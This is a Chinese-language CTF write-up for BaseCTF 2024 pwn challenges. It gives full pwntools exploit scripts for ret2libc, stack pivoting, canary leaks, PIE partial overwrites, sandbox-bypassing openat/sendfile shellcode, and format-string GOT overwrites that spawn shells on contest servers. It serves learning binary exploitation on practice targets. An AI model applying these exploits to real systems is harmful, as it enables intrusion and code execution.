BaseCTF2024新生赛pwn题浮现 只记录了部分题目
她与你皆失 简单的ret2libc但是有个小tips,获取二次输入如果直接跳转到main函数程序无法打通估计是某个寄存器的值不满足,可以选择跳转到start的地址从头开始运行程序保证寄存器的值正常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io=remote('gz.imxbt.cn' ,20992 ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) pop_rdi= 0x401176 ret_addr = 0x0040101a read = elf.sym['read' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x401090 payload1 = b'a' *(0xA +0x8 ) +p64(ret_addr)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.recvuntil("what should I do?\n" ) io.sendline(payload1) puts_addr=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search('/bin/sh' )) io.recvuntil("what should I do?\n" ) payload2 = b'a' *(0xA +0x8 ) +p64(ret_addr)+p64(pop_rdi) + p64(bin_sh) + p64(system) io.sendline(payload2) io.interactive()
echo echo 是一个非常常用的命令行工具,用于在终端中显示文本或变量的值
$
最常见的用途是用于引用变量的值。当你在变量名前加上 $
符号时,shell 会将变量的值替换到当前位置。
1 2 3 4 5 6 7 8 9 a=$(</flag) echo "$a " BaseCTF{61e35f3e-344f-4012-8cfa-1b2dece46fd4} 或直接 $a /bin/bash: line 10: BaseCTF{61e35f3e-344f-4012-8cfa-1b2dece46fd4}: command not found ls /bin/bash: line 4: ls : command not found
shellcode_level1 先用两个字节输入syscall系统调用read接着利用read继续在buf中输入shellcode,read结束后rsp自动增加nop到shellcode上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io=process('./pwn' ) elf=ELF('./pwn' ) shellcode = asm(''' syscall ''' )io.send(shellcode) io.sendline(b'\x90' *2 +asm(shellcraft.sh())) io.interactive()
stack _in_stack 栈迁移,有后门函数可以利用后门函数泄露libc,程序一开始会给buf的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io = process( ["/home/pwn/桌面/ld.so.2" , "./pwn" ], env={"LD_PRELOAD" : "/home/pwn/桌面/libc.so.6" }, ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) puts_got = elf.got['puts' ] printf=0x40129A secret=0x4011DD main = 0x40124A leave_ret=0x4012F2 io.recvuntil(b'mick0960.\n' ) buf = int (io.recv(14 ),16 ) print (hex (buf))payload = p64(0 ) + p64(secret) + p64(0 ) +p64(main) + b'a' *0x10 +p64(buf)+p64(leave_ret) io.send(payload) io.recvuntil(b'0x' ) puts_addr=int (io.recv(12 ),16 ) print (hex (puts_addr))libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] pop_rdi = libc_base + 0x2a3e5 bin_sh = libc_base + next (libc.search(b'/bin/sh' )) io.recvuntil(b'mick0960.\n' ) buf = int (io.recv(14 ),16 ) print (hex (buf))ret = 0x40101a payload = p64(0 ) + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(0 ) + p64(buf) + p64(leave_ret) io.send(payload) io.interactive()
你为什么不让我溢出 开了canary可以使用puts泄露canary,但是要注意puts会被’\x00’截断而canary的低位第一个字节为’\x00’所以要用a先覆盖掉该字节泄露canary再减去a还原canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io=remote('gz.imxbt.cn' ,20121 ) elf=ELF('./pwn' ) io.recv() payload = b'a' *(0x70 -8 +1 ) io.send(payload) io.recvuntil(b'a' *0x68 ) canary=u64(io.recv(8 ))-0x61 getshell=0x4011B6 ret=0x40101a print (hex (canary))payload = b'a' *0x68 + p64(canary) + b'a' *0x8 + p64(ret) +p64(getshell) io.sendline(payload) io.interactive()
PIE check
1 2 3 4 5 6 7 8 9 10 桌面$ python3 show.py [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
没开canary开了PIE
给了libc main函数存在栈溢出,printf可以用来泄露地址,关键就是如何二次调用main函数
在main函数执行前会执行_libc_start_call_main
来调用main函数,在main函数执行完后会leave ret
_libc_start_call_main + 128
处执行该处地址存放在栈上可以通过溢出泄露该地址获取libc
开了PIE的情况下libc的低12位字节也是不变的所以可以通过覆盖_libc_start_call_main + 128
来尝试二次执行main函数
首先gdb调试先覆盖使其向前跳转找找有没有能用的gadget
注意在python脚本中使用gdb时开debug模式会导致程序提前结束进程gdb无法打开,所以下方把context(arch='amd64',os = 'linux',log_level='debug')
给注释了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) io = process('./pwn' ) gdb.attach(io,'b $rebase(0x11EE)' ) payload = b'a' *0x108 + b'\x3f' io.send(payload) libc_addrs=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (libc_addrs))io.interactive()
跳转到0x7ffff7dafd3f <__libc_start_call_main+47>处
单步调试:
可以看到执行’\x89’ ‘\x8e’可以跳转到main函数,下方’\x90’即为正常情况跳转的位置
所以将’\x90’覆盖为’\x89’即可二次调用main函数
IDA中打开libc文件找到对应偏移
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io=remote('gz.imxbt.cn' ,20422 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) sleep(3 ) payload = b'a' *0x108 + b'\x89' io.send(payload) libc_base=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x29D89 print (hex (libc_base))system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) pop_rdi = libc_base + 0x2a3e5 ret = libc_base + 0x29139 payload = b'a' *0x108 +p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) io.send(payload) io.interactive()
orz! check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
开了沙箱:
orw都禁用了execve也禁用了啥都没有
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { void *buf; buf = mmap(0LL , 0x1000 uLL, 7 , 34 , -1 , 0LL ); if ( buf == -1LL ) { perror("mmap failed" ); exit (1 ); } puts ("Enter your shellcode:" ); if ( read(0 , buf, 0x1000 uLL) < 0 ) { perror("read failed" ); exit (1 ); } sandbox(); execute_shellcode(buf); munmap(buf, 0x1000 uLL); return 0 ; }
分配了一段可读可写可执行的区域明显是想让我们写shellcode,可以用opeanat替换opean打开flag文件,看来两种思路
1:用opeanat打开flag文件,使用sendfile输出
程序调用 sendfile ,将文件描述符 0x3 指向的文件内容发送到标准输出(文件描述符 0x1 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 shellcode = ''' mov rax, 0x67616c662f2e ;flag push rax xor rdi, rdi sub rdi, 100 ;rdi=-100表示为当前工作目录 mov rsi, rsp ;rsi为flag xor edx, edx ;rdx=0只读模式 xor r10, r10 ;r10=0用于指定文件权限,0表示无额外参数 push 0x101 pop rax ;rax=0x101 syscall ;系统调用opeanat mov rdi,1 ;out_fd=0x1表示标准输出 mov rsi,3 ;in_fd=0x3前面打开的flag文件 push 0 mov rdx,rsp ;offset=0从文件的开头开始读取 mov r10,0x100 ;count=1024表示每次发送1024字节 push 40 pop rax ;系统调用号为40 syscall ;系统调用sendfile '''
文件描述符为什么是0x3呢?
因为标准输入流、输出流、错误流分别是0x0、0x1、0x2所以opeanat打开文件返回的文件描述符即为0x3
2:使用opeanat打开,readv读取,writev写出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pay = f''' /* openat */ push {ord ('t' )} ; mov rax,0x{b'/flag.tx' [::-1 ].hex ()} ;push rax; push rsp; pop rsi; xor rdi,rdi;xor rdx,rdx; push 0x101; pop rax; syscall; /* ioc */ push 0x70; push rsp;pop rax;add rax,0x10;push rax;push rsp;pop rsi; /* readv */ push 3; pop rdi; push 1; pop rdx; push 19;pop rax; syscall; /* writev */ push 1; pop rdi; push 20; pop rax; syscall;
对ioc的操作还是不太理解后续再遇到再深究
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io=remote('gz.imxbt.cn' ,20437 ) elf = ELF('./pwn' ) shellcode = ''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push 0x101 pop rax syscall mov rdi,1 mov rsi,3 push 0 mov rdx,rsp mov r10,0x100 push 40 pop rax syscall ''' io.sendline(asm(shellcode)) io.interactive()
ezstack libc-csu,改写got表
GOT表主要用于在动态链接过程中存储全局变量和函数地址,动态链接器会根据实际加载的动态链接库的地址来填充 GOT 表中的相应条目
PLT 表用于处理动态链接库中的函数调用。PLT 表中的代码段会通过 GOT 表来实现函数的调用,并且在第一次调用时会触发动态链接器来解析该函数的实际地址并将其存储在 GOT 表中。
也就是说在调用动态链接库里的函数时先call其plt表再由plt表调用函数对应got表,也就是调用其真实函数地址,plt表起到一个传递的作用
check
1 2 3 4 5 6 7 8 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
main函数:
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { char v4[8 ]; init(argc, argv, envp); gets(v4); return 0 ; }
存在栈溢出,给了libc但是没有泄露基地址的机会所以只能尝试改写现有函数,该题通过改写setvbuf的got表为system的地址来调用system
1 print (hex (libc.sym['setvbuf' ]-libc.sym['system' ]))
计算出二者之间的偏移为0x30880
发现配合libc_csu可以改写任意地址的gadget
1 2 3 .text:0000000000400658 add [rbp-3Dh], ebx .text:000000000040065B nop .text:000000000040065C retn
控制rbp和rdx的值
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.arch="amd64" io=remote("gz.imxbt.cn" ,20452 ) libc=ELF('libc.so.6' ) elf=ELF('./pwn' ) gets_plt=elf.plt['gets' ] shell=libc.sym['system' ] setvbuf=libc.sym['setvbuf' ] py=-0x30880 py=py&0xFFFFFFFFFFFFFFFF setvbuf_plt=elf.plt['setvbuf' ] setvbuf_got=elf.got['setvbuf' ] bss=0x601080 rdi=0x4006f3 gadget2=0x4006ea magic=0x400658 payload=b'a' *0x10 payload+=p64(gadget2) payload+=p64(py) payload+=p64(setvbuf_got+0x3d ) payload+=p64(0 )*4 payload+=p64(magic) payload+=p64(rdi)+p64(bss)+p64(gets_plt) payload+=p64(rdi)+p64(bss)+p64(setvbuf_plt) io.sendline(payload) io.sendline(b'/bin/sh\x00' ) io.interactive()
vuln程序存在格式化字符串漏洞,会将同目录下的flag文件读入一段缓冲区内
通过gdb调试发现在printf时R9
寄存器存放着,R9为printf输出参数的第5个
所以直接利用格式化字符输出即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(arch='amd64' ,os = 'linux' ,log_level='debug' ) io = process('./pwn' ) elf=ELF('./pwn' ) target = 0x4040B0 payload = b'%1c%7$na' +p64(target) io.send(payload) io.interactive()
sleep是为了在gdb启动前程序运行慢一点,防止程序提前关闭执行流
check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char buf[264 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init(argc, argv, envp); while ( 1 ) { read(0 , buf, 0x100 uLL); printf (buf); } }
存在格式化字符漏洞可以多次利用
第一次将read函数的got表地址放在栈上泄露出来获取libc版本及其基址
第二次将printf函数的got表地址改为system的got表地址
第四次read传入/bin/sh
因为是调用的printf(buf)所以更改后就变成了system(‘/bin/sh’)
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *from Crypto.Util.number import *io = remote("gz.imxbt.cn" ,20726 ) elf = ELF("./pwn" ) libc = ELF("./1.so" ) context.arch='amd64' context.log_level = 'debug' all_logs = [] def debug (params='' ): for an_log in all_logs: success(an_log) pid = util.proc.pidof(io)[0 ] gdb.attach(pid, params) pause() read_got = elf.got['read' ] success(hex (read_got)) payload = b'bbbb%7$s' + p64(read_got) io.sendline(payload) io.recvuntil('bbbb' ) read_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success(hex (read_addr)) printf_got = elf.got['printf' ] base = read_addr - libc.sym['read' ] system = base + libc.sym['system' ] success(hex (system)) payload = fmtstr_payload(6 ,{printf_got:system}) print (payload)io.sendline(payload) io.recv() io.sendline(b'/bin/sh' ) io.interactive()
check
1 2 3 4 5 6 7 8 9 10 11 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64 -little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 ) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
只有一次格式化字符漏洞利用机会,要尝试能够构造二次输入,开了canary每次都会检查是否覆盖了canary覆盖了会跳转到call __stack_chk_fail@plt <__stack_chk_fail@plt>
使进程结束,就联想到如果把这个的got表改为main函数起始地址那么每次溢出了的时候都可以再跳转回main函数一次
接着第二次将puts的got表放入栈上用%s读出,获得libc基址
第三次将printf的got表改为system函数的got表
第四次read传入’/bin/sh’调用system(‘/bin/sh’)
注意因为前三次都要触发call __stack_chk_fail@plt <__stack_chk_fail@plt>
所以要将payload填充到0x110个字节
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.arch='amd64' context.log_level = 'debug' all_logs = [] def debug (params='' ): for an_log in all_logs: success(an_log) pid = util.proc.pidof(io)[0 ] gdb.attach(pid, params) pause() io = remote("gz.imxbt.cn" ,20741 ) elf = ELF("./pwn" ) main_addr = 0x04010D0 check_got = elf.got['__stack_chk_fail' ] puts_got = elf.got['puts' ] printf_got = elf.got['printf' ] success(check_got) io.recvuntil(b'-----\n' ) payload = fmtstr_payload(6 ,{check_got:main_addr}).ljust(0x110 ,b'\x00' ) io.send(payload) io.recvuntil(b'-----\n' ) payload = b'%7$sbbbb' +p64(puts_got) payload = payload.ljust(0x110 ,b'a' ) success(payload) io.send(payload) puts_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success(puts_addr) libc = ELF("./libc.so.6" ) base = puts_addr - libc.sym['puts' ] sys = base + libc.sym['system' ] io.recvuntil(b'-----\n' ) payload = fmtstr_payload(6 ,{printf_got:sys}).ljust(0x110 ,b'\x00' ) io.send(payload) io.recvuntil(b'-----\n' ) io.sendline(b'/bin/sh' ) io.interactive()
目前还是用fmtstr_payload比较浅显易懂,看网上很多wp都是逐字节写入的,后续可以研究研究